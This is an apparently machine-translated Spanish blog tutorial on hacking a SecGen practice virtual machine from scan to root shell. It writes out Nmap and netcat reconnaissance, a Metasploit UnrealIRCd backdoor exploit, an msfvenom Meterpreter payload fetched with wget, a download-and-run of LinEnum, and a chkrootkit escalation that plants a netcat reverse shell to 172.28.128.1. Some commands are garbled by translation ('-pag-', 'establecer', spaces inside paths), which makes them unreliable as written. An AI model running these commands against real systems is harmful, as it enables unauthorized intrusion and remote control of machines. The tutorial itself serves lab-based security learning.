BlogWonderHowTo

Cómo: Atacar una computadora de práctica vulnerable: una guía de Scan to Shell

En mi artículo anterior, aprendimos cómo generar una máquina virtual vulnerable utilizando SecGen para practicar la piratería de forma segura y legal. En este tutorial, lo juntaremos todo y aprenderemos cómo hackear nuestra máquina virtual de práctica. Esto proporcionará una idea de la metodología detrás de un ataque real y demostrará la forma correcta de practicar en una máquina virtual.

SecGen le permite generar diferentes escenarios para la práctica, equilibrando las sorpresas de los encuentros de la vida real con la seguridad de un laboratorio de piratería legal. Dado que la máquina virtual es un invitado en mi host, no hay preocupaciones sobre la legalidad. Tampoco me preocupa el volumen de mis herramientas en la red. Esto es puramente con fines de demostración, intentarlo en una máquina sin autorización podría dar lugar a graves ramificaciones legales.

En esta guía, atacaremos nuestro host de VM en un sistema Kali Linux. Debe utilizar cualquier plataforma que pueda ejecutar nuestra máquina virtual en VirtualBox. Nuestra compilación de piratería Kali Linux basada en Raspberry-Pi, en este caso, no funciona bien con la virtualización, por lo que si queremos usarla, tendremos que ejecutar nuestra VM invitada en otra computadora y conectar el adaptador.

Paso 1: enumeración

Esta es la primera fase de nuestro ataque y, en este caso, será breve. Esta máquina virtual no tiene una gran superficie de ataque. Empiezo con un escaneo de Nmap para el reconocimiento inicial.

nmap -A -p- -v victimMachine -oX nmap.xml | tee nmap.out

En este comando, le digo a Nmap que habilite la detección del sistema operativo, la detección de versiones, el escaneo de scripts y el rastreo de ruta con el -A argumento. El -pag- El argumento le dice a Nmap que escanee todos los puertos TCP, y -v le dice a Nmap que use un nivel de verbosidad. El -buey El argumento le dice a Nmap que guarde los resultados en un archivo XML llamado nmap.xml. El archivo XML puede resultar útil en las primeras etapas de la búsqueda con Buscar.

Luego lo canalizo en tee para dividir STDOUT entre mi terminal y el archivo nmap.out. Una tubería es una forma de redirección en entornos POSIX y está representada por el “|“carácter. La tubería envía la salida (STDOUT) de un programa a la entrada (STDIN) de otro. Esto permite a los programadores centrarse en Filosofía Unix, cuyo primer inquilino es “Haz una cosa bien”. Las canalizaciones permiten el encadenamiento de comandos, que es una forma poderosa de construir nuevas utilidades a partir de otras utilidades existentes.

Si está interesado en aprender más sobre tuberías, le recomiendo Artículo de Brandon Wamboldt sobre el tema.

A lo largo de este artículo, he sustituido “victimMachine” y “attackingMachine” por las direcciones IP reales de la máquina.

Mientras este escaneo está funcionando, enciendo KeepNote e iniciar un cuaderno sobre este proyecto. Utilizo KeepNote para almacenar capturas de pantalla, realizar un seguimiento de la información y organizar la información que respalda mi ataque. Aunque este es solo un anfitrión, una buena toma de notas realmente puede valer la pena. Sugiero buscar una aplicación para tomar notas que funcione para usted. KeepNote se instala de forma predeterminada en Kali Linux.

En máquinas con una superficie de ataque más grande, puede ser fácil ir por la madriguera del conejo persiguiendo una vulnerabilidad que simplemente no existe, o tal vez sí, pero se niega a trabajar por alguna razón.

Martillar interminablemente algo que no funciona puede arruinar tu flujo de trabajo. Si sospecha que algo es vulnerable, pero no funciona, anótelo. Luego, descarte primero las opciones más fáciles. El objetivo aquí no es tener el ataque más complejo; el objetivo es la raíz.

A primera vista, tanto IRC como FTP parecen ser excelentes vectores de ataque. El FTP a menudo está mal configurado, desactualizado y es vulnerable. Una búsqueda superficial muestra que ProFTPd tiene múltiples vulnerabilidades, pero ninguna de ellas es la versión que está ejecutando esta máquina. Así que paso a lo que espero sea la siguiente fruta más baja, IRC.

Utilizo este comando para establecer una conexión con el servidor, con la esperanza de recopilar más información.

echo -e “ID USUARIO 0 *: Gecos nNICK evilHacker” | nc victimMachine 6667

El -mi argumento en eco le dice al comando que interprete las secuencias de escape. El resto es solo el saludo para una conexión IRC. Envío mi texto con eco a netcat a través de tubería y obtener un resultado excelente.

Descubro que el servidor está ejecutando la versión Unreal 3.2.8.1. Además, una pequeña investigación muestra que esta versión en particular tiene un puerta trasera maliciosa instalada.

Paso 2: obtener acceso

Como sé que la vulnerabilidad a la que me dirijo tiene un módulo en Metasploit, enciendo una consola Metasploit.

msfconsole

Si no le gustan los banners en el lanzamiento, puede agregar el -q argumento. Una vez dentro de la consola, selecciono mi exploit y leo la información disponible con los siguientes comandos.

use exploit / unix / irc / unreal_ircd_3281_backdoor
info

A continuación, configuro las opciones requeridas para mi máquina víctima. En este caso, solo necesito configurar una opción: el host remoto.

establecer rhost victimMachine

Luego configuro las opciones para mi carga útil ingresando lo siguiente.

establecer lhost atacandoMachine
establecer lport 31337
establecer la carga útil cmd / unix / reverse

Esta es una carga útil básica, pero debería permitirnos hacer una enumeración adicional una vez que estemos conectados. Obviamente, preferiría una sesión de Meterpreter, pero no hay muchas cargas útiles para este exploit.

Una vez que estoy satisfecho con mi configuración, ejecuto el exploit.

correr

Que ejecuta el módulo Metasploit y me devuelve un shell de privilegios bajos.

Este es un punto de apoyo fuerte. Con esto, actualizaré a una conexión TCP inversa Meterpreter. Para hacer esto, primero genero una carga útil Meterpreter usando msfvenom escribiendo lo siguiente.

msfvenom -p linux / x86 / meterpreter_reverse_tcp LHOST = attackingMachine LPORT = 6666 -f elf> / var / www / html / 6666Met

Este comando genera una carga útil TCP Meterpreter inversa, que se conectará de nuevo a mi máquina atacante en el puerto 6666 en formato ELF. Lo puse en la máquina de la víctima usando wget en nuestro caparazón de privilegios bajos.

wget attackingMachine / 6666Met -O / tmp / met

Busco otra msfconsole en mi máquina atacante y preparo el controlador para la conexión entrante de Meterpreter escribiendo los siguientes comandos.

usar exploit / multi / handler
establecer LHOST attackingMachine
establecer LPORT 6666
establecer carga útil linux / x86 / meterpreter / reverse_tcp
correr

Luego ejecuto mi Meterpreter cargado en la máquina de la víctima. Si lo hace, devuelve un buen caparazón de Meterpreter. Esto es extremadamente útil para administrar las conexiones. Los caparazones desnudos pueden no ser confiables, y no hay nada peor que perder su caparazón en medio de un compromiso.

Paso 3: aumento de privilegios

Actualmente, no soy un usuario privilegiado. Incluso tener acceso al shell no autorizado como usuario sin privilegios es un gran problema de seguridad. Pero yo, por supuesto, quiero root.

Para escalar los privilegios, tendré que comenzar a enumerar el sistema. Aquí es donde realmente vale la pena guardar notas. Me gusta comenzar con herramientas automatizadas y profundizar más si es necesario. Mi secuencia de comandos de escalada de privilegios automatizada de Linux preferida es LinEnum.sh. Si esto no nota nada de inmediato, utilizo otros scripts.

Eventualmente, si estoy atascado, puedo ordenar manualmente según Publicación básica de escalada de privilegios de Linux de g0tmi1k. Ingresar los comandos manualmente y leer la salida ayuda a ralentizar el proceso y me permite ser más metódico.

Para obtener LinEnum en mi máquina víctima, coloco una copia en el directorio / var / www / html de mi máquina atacante y luego escribo lo siguiente en la terminal.

wget attackingMachine / LinEnum.sh -O /tmp/lin.sh; chmod 700 /tmp/lin.sh;/tmp/lin.sh

Este comando saca el script de mi máquina atacante, el -O El argumento envía el archivo a /tmp/lin.sh. Luego cambio los permisos para ser rwx (leer, escribir ejecutar) para mi usuario y ejecutar el script.

Alternativamente, también podría usar Meterpreter para colocar el archivo en el host remoto.

Esta es una gran cantidad de información para la ingesta y requiere cierto procesamiento para comprenderla. Gran parte del tiempo que se dedica a hacer una prueba de penetración consiste en enumerar toda la información que recopila y decidir un curso de acción.

Después de una enumeración significativa, descubrí una versión vulnerable de chkrootkit.

En este caso, terminé haciendo mi enumeración manualmente. También ayudó que me haya encontrado con esta vulnerabilidad en particular en el pasado. Metasploit tiene un módulo para este exploit, pero es trivial poner nuestro propio archivo en.

Cuando escribo archivos en una máquina comprometida, trato de tener cuidado con los programas interactivos como Vim, SSH, FTP, etc. En algunos casos, pueden hacer que pierda su shell. Algunas vulnerabilidades pueden hacer que las máquinas sean inestables y es posible que ya no funcionen a menos que se reinicie la máquina. Esto apesta porque perder un caparazón realmente puede estropear las cosas. Creo el archivo / tmp / update con los siguientes comandos.

echo “#! / bin / sh”> / tmp / update
echo nc 172.28.128.1 6688 -e / bin / sh >> / tmp / update
chmod 777 / tmp / actualización

Primero, redirijo STDOUT a / tmp / update usando el > carácter de redirección. Esto redirige STDOUT a un archivo. Luego agrego mi netcat comando en el archivo. Por último, hago que el archivo sea ejecutable por todos.

Esto le dice a Netcat que se conecte a mi máquina atacante y ejecute / bin / sh. En el otro lado de la conexión, configuré un ncat oyente ingresando el siguiente comando.

ncat -nlv attackingMachine 6688

Lo que le dice a Netcat que escuche una conexión entrante a la máquina atacante en el puerto 6688. Con esta configuración, espero. Después de poco tiempo, recibo una conexión de shell de root en mi máquina atacante.

Poniendolo todo junto

Las herramientas como SecGen son excelentes para practicar. Muchas máquinas vulnerables están configuradas de una manera que no es muy realista. Muchos autores configuran sus máquinas para que sean inteligentes. Pueden ser divertidos, pero no siempre son útiles. Otras máquinas vulnerables ofrecen una gran colección de vulnerabilidades, pero a menudo se siente como si estuviera pasando por una lista de verificación de explotación. Con SecGen, la máquina se siente como un objetivo real, con auténticas sorpresas.

Me divertí mucho con esta máquina. Obtener mi primer caparazón fue rápido, pero en general obtener un caparazón no es la parte más difícil. Dado que la superficie de ataque en este host era pequeña, pude limitarme rápidamente a un servicio vulnerable. En máquinas con una mayor superficie de ataque, la enumeración previa a la explotación se vuelve más importante.

La fase de escalada de privilegios de esta máquina fue muy sencilla. No había necesidad de extraer de la web un código de explotación posiblemente roto e intentar que funcionara. La dificultad en este escenario estaba en la enumeración posterior a la explotación, que utilicé para determinar qué podía aprovechar para ganar raíz.

Este ha sido un resumen de cómo atacar una VM vulnerable generada por SecGen. Si te ha gustado este artículo, ¡pasa el rato con nosotros en las redes sociales!

Foto de portada de SADMIN / Null Byte
Capturas de pantalla de Barrow / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar